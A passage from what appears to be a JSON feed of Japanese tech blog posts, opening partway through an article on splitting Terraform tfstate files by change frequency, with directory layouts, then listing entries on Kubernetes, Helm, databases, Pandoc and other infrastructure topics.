おすすめ度について【変更頻度グループ別】状態の依存関係図例えば、以下の変更頻度グループに分割した状況と仮定します。変更高頻度グループ変更中頻度グループ変更低頻度グループここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、変更低頻度グループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの状態の変更頻度グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket high[\\"high-freq-tfstate
例: API Gateway, CloudFront, CloudWatch, IAM\\"] middle[\\"middle-freq-tfstate
例: ALB, EC2, ECS, EKS, ElastiCache, RDS, S3, SES, SNS\\"] low[\\"low-freq-tfstate
例: Route53, VPC\\"] high-...->low middle-..->low end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 high-freq # 高頻度変更グループ│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── cloudwatch.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 low-freq # 低頻度変更グループ│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── route53.tf│ ├── vpc.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 middle-freq # 中頻度変更グループ (高頻度とも低頻度とも言えないリソース) ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── elasticache.tf ├── rds.tf ├── s3.tf ├── ses.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する ...【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 high-freq│ └── terraform.tfstate # high-freqコンポーネントの状態を持つ│├── \uD83D\uDCC2 middle-freq│ └── terraform.tfstate # middle-freqコンポーネントの状態を持つ│└── \uD83D\uDCC2 low-freq └── terraform.tfstate # low-freqコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...10. おわりにTerraformのtfstateファイルの分割パターンをもりもり布教しました。ぜひ採用してみたい分割パターンはあったでしょうか。Terraformの開発現場の具体的な要件は千差万別であり、特にtfstateファイル間の状態の依存関係は様々です。もし、この記事を参考に設計してくださる方は、分割パターンを現場に落とし込んで解釈いただけると幸いです\uD83D\uDE47\uD83C\uDFFB‍「自分を信じても…信頼に足る仲間を信じても…誰にもわからない…」(お友達の@nwiizo, 2023, Terraform Modules で再利用できるので最高ではないでしょうか?)謝辞今回、Terraformの分割パターンの収集にあたり、以下の方々からの意見・実装方法も参考にさせていただきました。@kiyo_12_07 さん@masasuzu さん@tozastation さん(アルファベット順)この場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Terraform in Action (English Edition)作者:Winkler, ScottManningAmazonTerraform: Up and Running: Writing Infrastructure as Code作者:Brikman, YevgeniyO\'Reilly MediaAmazon","isoDate":"2023-07-04T15:17:56.000Z","dateMiliSeconds":1688483876000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"光に負けルナ~Google Cloudでのマルチリージョンデータベースについて~","link":"https://zenn.dev/nnaka2992/articles/to_beat_light_speed_on_google_cloud_databases","contentSnippet":"クラウドを利用する一番のメリットの一つとしてオンデマンドでリソースを調達し、アクセス負荷に応じてスケールイン・アウト出来ることが上げられます。そのため大体のアプリケーションではシングルリージョンまたは隣接するリージョン2~3程度で運用を始めることが多いと思います。(日本の場合asia-northeast-1とasia-northeast-2など)アプリケーションがグローバルに拡大すると、それだけ物理的な距離が広がりユーザ・サーバ間のアクセスにかかる時間が拡大します。例えばユーザ・サーバ共に日本にある場合(沖縄・北海道間約3,000km)、ネットワークによる遅延は片道約15ms以下...","isoDate":"2023-07-03T15:39:08.000Z","dateMiliSeconds":1688398748000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Copilotでらくらくコードリーディング","link":"https://zenn.dev/nnaka2992/articles/code_reading_with_copilot","contentSnippet":"GitHub Copilot便利ですね。2021年にTechnical Previewとして発表された時から便利だ便利だと言われていたGitHub Copilotに、2023年の4月末ごろからデビューしました。デビューしたは良いものの最近は仕事ではコーディングよりアーキテクト的な方面でのお仕事が多かったり、個人の時間でもコーディングするよりOSSのコードを読むことのほうが多くコーディングのアシスタントツールとしては使いこなせていません。そのため最近はPostgreSQLのコードを読むときのアシスタントとして利用することが多いです。なのでこの記事ではCopilotでコードリーディン...","isoDate":"2023-06-28T14:41:21.000Z","dateMiliSeconds":1687963281000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Cloud RunのSidecarでJVMのmetricsの取得してみた","link":"https://zenn.dev/satohjohn/articles/25bc5879de7832","contentSnippet":"概要Cloud Runのmetricsをデフォルトで取得している指標(metrics)以外の指標が他に欲しい場合、どうするのが良いのかを考えてみました。ちょうどCloud RunのSidecar機能がでたので、それを使います。他の指標を、ここではJVMのmetricsとします。Cloud Run上のJVMのmetricsが取れて何が嬉しいのかについては、一旦考えません。後にCloud Runの最大起動時間が増えた場合は、意味があるかもしれません。 構成図にすると以下のような感じになります。Cloud RunでSpring Bootアプリケーションを立ち上げClou...","isoDate":"2023-06-28T12:03:00.000Z","dateMiliSeconds":1687953780000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ロクに勉強してこなかったエンジニアが輪読会参加とかPCA受験に向けて勉強とかしてみた話","link":"https://qiita.com/bayobayo0324/items/56f93f50fa0115dc4d6d","contentSnippet":"この記事について40歳でフリーランスから転職をきっかけに会社員エンジニアになって、社内のエンジニアの熱意に影響を受けて勉強をはじめてみた中年エンジニアの感想とか気づきとかです。先に結論勉強する…","isoDate":"2023-06-27T12:31:17.000Z","dateMiliSeconds":1687869077000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"やさしいERC20開発","link":"https://speakerdeck.com/shukob/yasasiierc20kai-fa","contentSnippet":"https://cryptocurrency.connpass.com/event/287311/\\r\\rEthereumスマートコントラクトライブラリ「OpenZeppelin」を用いてERC20コントラクトをSepolia Testnetにデプロイし、基本的な操作を体験していただけます。\\r\\rRemixを使用し、OpenZeppelinを用いて基本的な送金、EOAへの委任と、\\rコントラクトへ委任し、ETHを送るとERC20が送金される自動販売機のようなスマートコントラクトの実装を行います。","isoDate":"2023-06-23T04:00:00.000Z","dateMiliSeconds":1687492800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"SRETT#6_Terraformのtfstateについて考える","link":"https://speakerdeck.com/masasuzu/srett-number-6-terraformnotfstatenituitekao-eru","contentSnippet":"","isoDate":"2023-06-22T04:00:00.000Z","dateMiliSeconds":1687406400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"アプリ開発者のための kubectl 講座","link":"https://zenn.dev/toshikish/articles/6a06017747cbba","contentSnippet":"これは何Kubernetes クラスタ管理者とアプリケーション開発者が分業しているプロジェクトで,開発者が必ずしも Kubernetes に詳しくない場合を想定し,開発時に使いそうな kubectl のコマンドをまとめたものです。クラスタ管理者から開発者にこのドキュメントを適宜改変して渡し,開発者がある程度自立して操作できるようになることで,管理者への問い合わせ負荷を減らすのが狙いです。場合によってはハンズオンで講座を開いてもよいでしょう。 ドキュメント案ここでは Amazon EKS でクラスタを構築する場合の例を示します。別のインフラに構築している場合は適宜書き換え...","isoDate":"2023-06-19T06:03:18.000Z","dateMiliSeconds":1687154598000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Terraform 静的検査ツール比較","link":"https://zenn.dev/tayusa/articles/9829faf765ab67","contentSnippet":"対象tfsectflintKICSCheckovSnyk tfsechttps://github.com/aquasecurity/tfsechttps://aquasecurity.github.io/tfsec/v1.28.1 特徴CI系公式のdocker imageがあるhttps://github.com/aquasecurity/tfsec#use-with-dockerGitHub Actionがあるhttps://github.com/aquasecurity/tfsec-pr-commenter-actionGitH...","isoDate":"2023-06-15T17:00:00.000Z","dateMiliSeconds":1686848400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"editcap で tcpdump のキャプチャファイルから指定の時間帯を切り出す","link":"https://blog.1q77.com/2023/06/editcap/","contentSnippet":"ちょっと大きめ (時間範囲の広い) pcap ファイルがあって、wireshark で見るにしてもちょっと大きすぎるなということがありました。 見たい時間帯","isoDate":"2023-06-15T14:46:42.000Z","dateMiliSeconds":1686840402000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub の Reusable workflow で working-directory に変数を使う","link":"https://zenn.dev/toshikish/articles/be970407f02098","contentSnippet":"やりたいことGitHub Actions の reusable workflow で,作業ディレクトリを入力変数で変えたい場合を考えます。on: workflow_call: inputs: workdir: required: true type: string うまくいかない方法ワークフロー全体のステップのデフォルト設定 defaults.run.working-directory では,現時点ではコンテキストと式が許可されていません。したがって,入力変数でディレクトリ名を受け取って上記に入れても動作しません。...","isoDate":"2023-06-15T05:22:24.000Z","dateMiliSeconds":1686806544000,"authorName":"toshikish","authorId":"toshikish"},{"title":"PandocのLuaフィルタからPandoc templateを呼べるpandoc.templateモジュールがとても便利","link":"https://blog.atusy.net/2023/06/12/pandoc-template-module/","contentSnippet":"Pandoc 3.0以降ではLuaフィルタで使えるモジュールにpandoc.templateが追加されました。これを使うとLuaフィルタ内でPandoc Templateを展開できます。","isoDate":"2023-06-12T00:00:00.000Z","dateMiliSeconds":1686528000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeconformをGitLab CIに組み込んで、k8sのマニフェストがAPIの仕様に沿うか検査する","link":"https://zenn.dev/tayusa/articles/1aa96e6ceb838a","contentSnippet":"はじめにk8sマニフェストを普段管理していないメンバーがマニフェストのファイルを変更する場面があります。その際のレビューを出来るだけ自動化したくkubeconformを導入しました。 KubeconformマニフェストがAPIの仕様に沿うか検査してくれます。https://github.com/yannh/kubeconform自分でスキーマを用意すればIstio、Argo Rollouts、Argo Workflowsのような外部のAPIも検査できます。 スキーマの生成スキーマの生成はpythonのスクリプトが用意されているので、これをCRDを引数で渡し実行しま...","isoDate":"2023-06-11T17:19:45.000Z","dateMiliSeconds":1686503985000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"plutoをGitLab CIに組み込んで非推奨のk8s apiVersionを検出する","link":"https://zenn.dev/tayusa/articles/79a3f54d8f21bc","contentSnippet":"はじめにk8sのバージョンが上がるとAPIが再編成されたりアップグレードされたりします。新しいAPIが出ると古いAPIは非推奨になり最終的には削除されます。なので、k8sのバージョンアップ時はDeprecated API Migration Guideなどを見て非推奨のapiVersionが使われていないか確認して時には修正する必要があります。https://kubernetes.io/docs/reference/using-api/deprecation-guide/例CronJob の batch/v1beta1 -> batch/v1 plutoplu...","isoDate":"2023-06-11T17:18:13.000Z","dateMiliSeconds":1686503893000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Istio Canary Upgrade by Helm","link":"https://zenn.dev/tayusa/articles/03cf961e2409bd","contentSnippet":"前提helmfileを利用istioのrevisionTagを利用関係のない設定は省略 Upgradeの前にInstall ディレクトリ構成├── helmfile_istio-base.yaml├── helmfile_istio-ingressgateway.yaml├── helmfile_istiod-1-16-0.yaml└── values ├── istio-base.yaml ├── istio-ingressgateway.yaml └── istiod.yaml helmfile helmfile_isti...","isoDate":"2023-06-11T17:17:37.000Z","dateMiliSeconds":1686503857000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Helmに入門したので、躓いたところを振り返る","link":"https://zenn.dev/tayusa/articles/e9285c6c4c09a1","contentSnippet":"はじめにアプリのマニフェストを管理するのにKustomizeを使っていたのですが、同じようなマニフェストが乱立したので管理を楽にするためにHelmに移行しました。Helmを一から書いたのは初めてだったので、躓いた点をここに残します。 quote関数の進数変換0から始まる数値をquote関数を使って文字列にすると進数変換が起こり想定した値ではなくなる下記のようなtemplateでidとして0000000060のような値を渡すと、8進数として解釈され10進数である48に変換されてしまいます。...id: {{ .id | quote }}...0から始まる数値はtem...","isoDate":"2023-06-11T17:16:25.000Z","dateMiliSeconds":1686503785000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ビットコイン・ブロックチェーン入門","link":"https://speakerdeck.com/shukob/bitutokoinburotukutienru-men-40047fd3-985e-4c8f-b34b-1ea610be2535","contentSnippet":"https://cryptocurrency.connpass.com/event/286818/\\r初学者の方向けにビットコイン技術の全体像をお話ししました。","isoDate":"2023-06-10T04:00:00.000Z","dateMiliSeconds":1686369600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Go言語でNetlinkを少し触った話","link":"https://zenn.dev/bells17/articles/netlink-goexample","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC(Inter-pro...","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes 1.27 以降のバッチ処理の改善","link":"https://zenn.dev/toversus/articles/d6065bea460871","contentSnippet":"Kubernetes 1.27 以降で実装済みまたは予定されているバッチ処理の改善に繋がる KEP や Kubernetes のサブプロジェクトの現状を見ていきます。 KEP-3673: Kubelet limit of Parallel Image Pulls!Kubernetes 1.27 時点でアルファ機能です。1.28 でベータを目指していますが、設定はデフォルトで無効化されています。Pod の起動にノードのスケールアウトが必要な場合に、Pod の起動時間の短縮が期待できます。バッチ処理の Pod が一斉に起動するケースで恩恵を受けられそうです。Kubelet は...","isoDate":"2023-06-08T03:46:32.000Z","dateMiliSeconds":1686195992000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"asdf の代わりに rtx を使う","link":"https://blog.1q77.com/2023/06/rtx/","contentSnippet":"nodeenv とか rbenv とか tfenv とか XXenv がそれぞれ .xxx-version というファイルにそのディレクトリ配下で使用する software の version を指定するという仕様があり、それらをまとめてやってくれる","isoDate":"2023-06-07T01:25:11.000Z","dateMiliSeconds":1686101111000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"PC作ってみた","link":"https://moz-security.hatenablog.com/entry/2023/06/04/172414","contentSnippet":"SECCON Beginners CTF 2023 でボコボコにされて、少し萎えていますが、超絶久しぶりにブログでも書きます。なぜ自作PCまず、4月29, 30日(土・日)にGMOインターネットグループが開催するDevSecOpsThon2023というイベントに参加しました。これに関しては、イベント直後に、参加記を書こうと思っていたのですが、書かんといけないな〜と思いながら、2週間も経つと、完全に書く気がなくなりました。気になる方は、下に他の参加者さんが書いたリンクを貼っているのでそちらからご覧ください。イベントの参加者には、自宅サーバ勢が多く、確か半分くらいは、自宅にサーバを立てていたと思います。イベント自体が、インフラハッカソンというちょっと変わったイベントで、ハードウェアやOS、ミドルウェアといった低レイヤの知識を必要としており、もう自宅サーバ勢が無双状態で、自分の知識の欠如を非常に実感しました。そこで、その人たちに近づくための第一歩として、自作PCに取り組もうと思いました。developers.gmo.jpDevSecOpsThon2023 参加ブログ・DevSecOpsThonに参加してきた・「DevSecOpsThon at GMO kitaQ」に参加したらすごく良かった件!! - Qiita・DevSecOpsThon2023 at GMO kitaQ - Qiita・【\uD83D\uDCDD】DevSecOpsThon at GMO kitaQ\xa0自作PCに取り組むこれに取り組んだのは、5月27, 28日でした。この理由は、25日に給料日だったからですね。まずは、パーツの選択と購入から始めました。別にゲーム用途ではないため、GPUはいらない代わりに、グラフィック機能があるCPUにしたり、メモリの拡張性を考えて、4スロットあるマザーボードにしたりしました。初めての自作PCということで、そこまでスペックのいいものを作る気は最初からなく、まぁ10万円くらいかなと考えていたのですが、メモリやSSDが思ったよりも安く、7万円くらいで全てのパーツを購入することができました。購入したパーツが届いたら、あとは組み立てるだけでした。ググったら、自作PCについてのサイトはたくさん出てきましたが、正直マザーボードとPCケースの取扱説明書だけでも十分なほど説明が細かく書いてあります。全てのパーツをマザーボードにくっつけるだけなので、そこまで難しくはなく、電源など配線が終わったら、本当に起動してくれるのかドキドキしながら、電源ボタンを押しました。プラス端子とマイナス端子を逆にしていないかなど心配しながらも、BIOS画面が立ち上がった時はとても安心したし、嬉しかったです。ここまできたら、あとはブータブルUSBからOSを起動するだけで、無事に初めての自作PCを完成させることができました。今は、仮想マシンを複数台起動していて、それを使って、遊びつつ、勉強していこうと思っています。とりあえずは、Kubernetesクラスタを組んでみたり、脆弱性検証から始めていこうって感じです。自作PCのメモについては、下のリンク先にあります。moz-security.me作ってみて自作PCというと、とてもハードルが高いように感じますが、実際に作ってみると意外と簡単だし、色々と勉強になることもたくさんあります。また、デスクトップという制約はあるものの、同じ値段であれば、ノートPCよりもいいスペックで構築することができるし、店頭にあるデスクトップPCと比べても、自分で改造できるため、拡張性があるといったメリットがあります。一度だけでも作ってみるのはおすすめです。(自分に合わなければ、2度目をなくせばいいだけ)","isoDate":"2023-06-04T08:24:14.000Z","dateMiliSeconds":1685867054000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Redis公式のGoクライアントライブラリrueidisを試してみた","link":"https://qiita.com/bayobayo0324/items/8ac3e27eef360a316ad2","contentSnippet":"This 記事 is 何?Twitterぼんやり見てたらRedis公式のGo用クライアントライブラリが出てたとかで、自身のプロジェクトにどの程度簡単に入れられるのかなーと思い試してみました。公式…","isoDate":"2023-05-31T12:02:25.000Z","dateMiliSeconds":1685534545000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"データフレームからの表組みを楽にするftExtra 0.6.0をリリース!脚注の書式指定が柔軟に!!","link":"https://blog.atusy.net/2023/05/30/ftextra-0-6-0/","contentSnippet":"ftExtra 0.6.0では、脚注に関する機能が強化されました。ftExtraパッケージはRで表を出力する際に、セルの文字列をマークダウンとしてフォーマットする機能などを提供するパッケージです1。デフォルトではR Markdownと同様にマークダウン方言としてPandoc’s Markdownを採用しており、^[aaa]といった記法で脚注を記載できます。","isoDate":"2023-05-30T00:00:00.000Z","dateMiliSeconds":1685404800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本のビットコイン決済を振り返る","link":"https://speakerdeck.com/shukob/ri-ben-nohitutokoinjue-ji-wozhen-rifan-ru","contentSnippet":"https://cryptocurrency.connpass.com/event/280644/\\r2023年5月ビットコインとかミートアップでビットコイン決済についてLTしました。","isoDate":"2023-05-27T04:00:00.000Z","dateMiliSeconds":1685160000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OLAPデータベースを支える技術","link":"https://zenn.dev/nnaka2992/articles/technics_behind_analytical_database","contentSnippet":"今年に入ってからCarnegie Mellon UniversityのAdvanced Database SystemsでReading Assignmentとして出ている論文リストで必須とされているものや講義資料を読みました。https://nnaka2992.hatenablog.com/archive/category/論文この記事では紹介されていた論文やAdvanced Database Systemsの講義資料・動画を振り替えることで、BigQueryやRedShift、Snowflakeといった最新の分析用データベースがどのように優れたパフォーマンスを実現しているかを考え...","isoDate":"2023-05-25T00:02:49.000Z","dateMiliSeconds":1684972969000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"leap.nvimを拡張して検索対象にラベルをつけて飛べるleap-search.nvimを作った","link":"https://blog.atusy.net/2023/05/24/leap-onto-matched-patterns/","contentSnippet":"本記事はVim駅伝の5/24の記事です。leap.nvimについてeasymotion系のNeovimプラグインとしてメジャーどころにはhop.nvimやleap.nvimがあります。leap.nvimはいわゆるeasymotion系のプラグインで、入力した文字にマッチする箇所にラベル(a, b, c, …)をつけ、ラベルを入力するとその位置にカーソルを移動します。デフォルトの挙動はeasymotionの2-character search motionに近いもので、2文字にマッチする箇所にラベルをつけます。","isoDate":"2023-05-24T00:00:00.000Z","dateMiliSeconds":1684886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでドキュメントのYAMLフロントマター(メタデータ)を抽出する","link":"https://blog.atusy.net/2023/05/18/pandoc-extract-metadata/","contentSnippet":"以下のようなMarkdownファイルがあってYAMLフロントマターから .data.hoge を取り出したい、みたいなことはしばしばあります。---title: タイトルauthor: atusydata: hoge: fuga---なんかコンテンツこういう時、うまく grep コマンドとか使ってやるのも手ですが、Pandocの力でYAMLファイルを生成しても面白いでしょう。","isoDate":"2023-05-18T00:00:00.000Z","dateMiliSeconds":1684368000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"現在のDremelの実装を解説した論文を読みました ","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/17_dremel","contentSnippet":"この記事の趣旨2020年に発表されたBigQueryの元となったGoogle内で利用されている分析向けデータベースであるDremelの実装を解説した論文を読みました。Dremel: A Decade of Interactive SQL Analysis at Web Scale著者についてSergey Melnik, Andrey Gubarev, Jing Jing Long, Geoffrey Romer, Shiva Shivakumar, Matt Tolton,Theo Vassilakisら2010年のDremel発表論文の著者らと、Hossein Ahmadi, Dan Delorey, Slava Min, Mosha Pasumansky, Jeff ShuteらGoogleで分析ワークロードと分散処理に関わる著者らによる論文。概要BigQueryの元となったGoogleのDremelの10年間を振り替えってアーキテクチャについて説明した論文。Dremelは現代のクラウドネイティブ分析ツールで一般的になっている、計算リソースとストレージの分解、カラムナストレージ、in situデータ分析などを統合した最初のツールである。手法SQLの採用Googleでは殆どのデータはBigTableなどNoSQLデータベースで管理されていたため、SQLを用いないデータアクセスが主流であった。しかしトランザクション型ビッグデータシステムにおける、SQLの採用に共ないDremelでもSQLを採用した。ストレージの分離メモリの分離MapReduceのシャッフルのボトルネックを回避するためにDisaggregated Memory Shuffle Systemを採用した。In situデータ分析への対応DBMSへのデータロードを必要としないデータ分析のことで、DremelではGFSに移行するときにGoogle内で共有のストレージフォーマットを使用することでGoogle内のデータに対応した。加えてGoogle Cloud StorageやGoogle Drive、MySQL、BigTableなどからのデータ取得もフェデレーションとして対応した。サーバレスアーキテクチャフォールトトレラントリスタート、仮想スケジューリングユニットによりマルチテナントかつオンデマンドなリソースを提供可能とし、低価格な利用を可能とした。現在ではサーバレスアーキテクチャを進化させ、集中型スケジューリングやShuffle Persistent Layer、柔軟なDAG実行、動的クエリ実行などを実装することでより優れたサーバレスアーキテクチャを実現した。ネストデータにおけるカラムナストレージ[[32])]Figure 5Figure 6Figure 7クエリレイテンシの最小化インタラクティブな実行のレイテンシは大きくなる。それを解決するためにDremelではスタンバイサーバプール、マルチレベル実行ツリー、列指向スキーマ表現、CPUとIO負荷のバランス調整、ファイルオペレーションの再利用、保証されたキャパシティ、適合的なクエリスケーリングにより実現している。作業時間read27:5027:50author32:024:12summary68:5026:48","isoDate":"2023-05-15T02:14:20.000Z","dateMiliSeconds":1684116860000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Tailscale + Samba + NextCloudでおうちクラウド始めた","link":"https://blog.atusy.net/2023/05/12/tailscale-nextcloud/","contentSnippet":"外出先から家にあるデータにアクセスしたい(義)両親に家族写真を共有したいデバイス間でデータを同期したいデータ容量の制限を考えたくないセキュリティはそこそこ欲しい変なデータ混ざっても垢BANされたくないこういった要望を叶えるためにtailscaleで構築したVPN内でのみアクセスできるSamba(ファイル共有)とNextCloud(DropBox的なもの)をたててみました。","isoDate":"2023-05-12T00:00:00.000Z","dateMiliSeconds":1683849600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Connection draining for Service type LoadBalancer","link":"https://zenn.dev/toversus/articles/1682d275ef1bb7","contentSnippet":"はじめにService リソースは Kubernetes のサービス検出を支えるコアリソースです。Service のデータプレーンとして kube-proxy を使用している場合は、各ノード上の iptables や ipvs を設定することで L4 負荷分散を実現しています。Kubernetes は、結果整合性 (Eventual Consistency) の上に成り立つ分散システムです。Kubernetes のコントロールプレーンが Pod を削除する時に、全てのノード上のルーティングルールを更新してから Pod を削除したりはしません。削除中の Pod にもトラフィックが流...","isoDate":"2023-05-11T09:43:47.000Z","dateMiliSeconds":1683798227000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TiDBで学ぶNewSQLのアーキテクチャ for Beginners","link":"https://zenn.dev/nnaka2992/articles/learning_tidb_internal_for_beginner","contentSnippet":"はじめにこの記事ではNewSQLの特徴であるノード間の分散とトランザクションや分断耐性などがTiDBではどのような技術によって実現されているかを説明することを目的としています。Spannerの論文が2012年に発表されてから10年以上の年月が流れ、優れた論文や実装ドキュメント、個人による解説ブログなど技術的詳細について述べた資料は多くあります。加えてこの記事を入門的なものと位置づけているため各コンポーネントを網羅的に解説するというよりは、キーコンセプトをどのように実装しているのかを実験を混じえながら動作の実現方法の解説を中心に扱います。また今回はTiDBをベースに説明し...","isoDate":"2023-05-11T01:18:19.000Z","dateMiliSeconds":1683767899000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"クエリオプティマイザの精度を検証した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/16_query_optimization_performance","contentSnippet":"この記事の趣旨2015年に発表されたクエリオプティマイザにおけるカーディナリティ推定とコストモデル、列挙アルゴリズムの貢献度を評価した論文を読んでいきます。How Good Are Query Optimizers, Really?著者についてViktor Leis、Andrey Gubichev、Atanas Mirchev、Peter Boncz、Alfons Kemper、Thomas Neumannらのグループによる論文。ほとんどのメンバーはDBMSにおける最適化について研究しているが、Atanas Mirchevはより統計や探索といった最適化よりの研究をしている。問題意識良い結合順序を見つけることはクエリの性能に対して大きな影響を与えるため、熱心に研究されてきた。古典的なクエリ最適化のアプローチでは以下のステップで動的計画方に基づいた最適化を行なう。1. 有効な結合順序の列挙1. カーディナリティ推定値を入力としたコストモデルの選択理論的にはカーディナリティとコストモデルの推定値が正確であれば、最適なクエリプランを選択することができる。しかし現実にはカーディナリティ推定は一様性や独立性といった単純化された仮定に基づいており、しばしばそのような仮定は間違っているため悲惨な計画を作成する。手法この論文ではカーディナリティ推定器の評価と正確なコストモデルの重要性の評価、そして列挙された結合順序の空間がどの程度影響するのかを以下の方法で検証し、貢献を行なっている。1. IMDBデータを用いたJoin Order BenchmarkというJOINにフォーカスしたベンチマークによる評価を行なう1. 実世界のデータセットにおける現実的なクエリを用いたE2Eの検証を行なう。1. クエリ性能に対するカーディナリティ・コストモデル・列挙アルゴリズムの貢献度を定量化し、最適なクエリプラン生成のためのガイドラインを策定している。作業時間read29:3829:38author33:083:30summary48:4414:36感想時間が無くまとめ途中で切り上げてしまった。やらないよりマシではあるものの、ちゃんと纏めるときにくらべて理解度に影響が出そうなので時間に余裕を持っておきたい。内容自体はGW中にPostgreSQLの実装を読んでいたこともあり、わりと理解しやすかった。","isoDate":"2023-05-08T02:13:43.000Z","dateMiliSeconds":1683512023000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.27] Dynamic Resource Allocation のいま","link":"https://zenn.dev/toversus/articles/fe2aa06f133b49","contentSnippet":"!Kubernetes 1.27 時点でアルファ機能のため、実装が大きく変わる可能性があります。 はじめにKubeCon Europe 2023 で KEP-3063 Dynamic Resource Allocation (DRA) についての深い話と DRA Resource Driver の実装方法の話があったので、kubernetes-sigs/dra-example-driver をベースに触りながら検証してみました。toVersus/fake-dra-driver で公開しています。Device Plugins 2.0: How to Build a 